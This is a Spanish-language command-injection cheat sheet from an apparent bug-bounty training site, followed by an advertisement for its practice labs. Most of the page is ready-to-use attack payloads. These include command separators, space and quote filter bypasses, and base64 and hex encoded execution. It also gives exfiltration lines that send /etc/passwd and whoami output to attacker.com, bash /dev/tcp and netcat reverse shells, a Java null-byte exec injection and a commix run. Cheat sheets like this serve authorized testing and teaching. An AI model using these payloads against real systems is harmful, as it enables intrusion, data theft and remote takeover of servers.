Cheatsheet Command Injection

Inyeccion de comandos OS

Referencia rápida

  • Probar separadores en orden: ||, &&, ;, |, %0a, backticks, $()
  • Para blind command injection, usar siempre time delay como primera confirmacion
  • $IFS y wildcards (/???/??t) permiten bypass de filtros de espacios y comandos
  • Los 25 parametros mas vulnerables: cmd, exec, command, ping, query, code, func, arg
  • Command injection en filename es un vector infravalorado - probar siempre en uploads

Separadores de comandos

Pipe

| id

Doble pipe (OR)

|| id

Ampersand

& id

Doble ampersand (AND)

&& id

Semicolon

; id

NewlineNewline URL-encoded

%0A id

Backticks (Unix)

`id`

Dollar subshell (Unix)

$(id)

Payloads con variantes de espaciado

Pipe con espacios variados

ls||id; ls ||id; ls|| id; ls || id

Ampersand con espacios

ls&&id; ls &&id; ls&& id; ls && id

IFS como separador$IFS es el separador de campos interno de bash

ls${IFS}id

Variable vacia como espacio

ls${LS_COLORS:10:1}${IFS}id

Tab como espacio

cat%09/etc/passwd

Blind command injection

Time delay (sleep)Si la respuesta tarda 5 segundos = vulnerable

|| sleep 5

Time delay (ping)

|| ping -c 5 127.0.0.1

DNS callback (exfiltracion)

|| curl http://$(whoami).attacker.com

HTTP callback

|| curl http://attacker.com/?d=$(cat /etc/passwd | base64)

Output redirectionLuego acceder a /output.txt desde el browser

|| whoami > /var/www/html/output.txt

Nslookup exfiltration

|| nslookup $(whoami).attacker.com

Bypass de filtros

Comillas para romper comandoComillas simples dentro del comando se concatenan

w'h'o'a'm'i

Doble comillas

w"h"o"a"m"i"

Backslash

w\h\o\a\m\i

Variable de entornoWildcards: /bin/cat /etc/passwd

/???/??t /???/p??s??

Base64 encoded2hvYW1p = whoami en base64

echo d2hvYW1p | base64 -d | bash

Hex encode

echo -e '\x77\x68\x6f\x61\x6d\x69' | bash

Vectores de inyeccion

Command injection en filenameProbar en upload forms cuando el server procesa el filename

filename="test || sleep 30 ||.gif"

Java null byte separationJava usa null bytes para separar argumentos de proceso

?prefix=x%00--exec=/bin/bash%20-c%20'id'%00--remote=file:///%00x

Reverse shell (bash)

; bash -i >& /dev/tcp/attacker.com/4444 0>&1

Reverse shell (netcat)

; nc -e /bin/bash attacker.com 4444

Herramientas

commix

Herramienta automatizada de deteccion y explotacion de command injection

python3 commix.py -u "https://target.com/ping?ip=127.0.0.1" --batch

Burp Collaborator

Servidor de callbacks para confirmar blind command injection via DNS/HTTP

Burp Suite > Burp Collaborator Client

Interactsh

Alternativa open-source a Burp Collaborator para callbacks OOB

interactsh-client -v

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras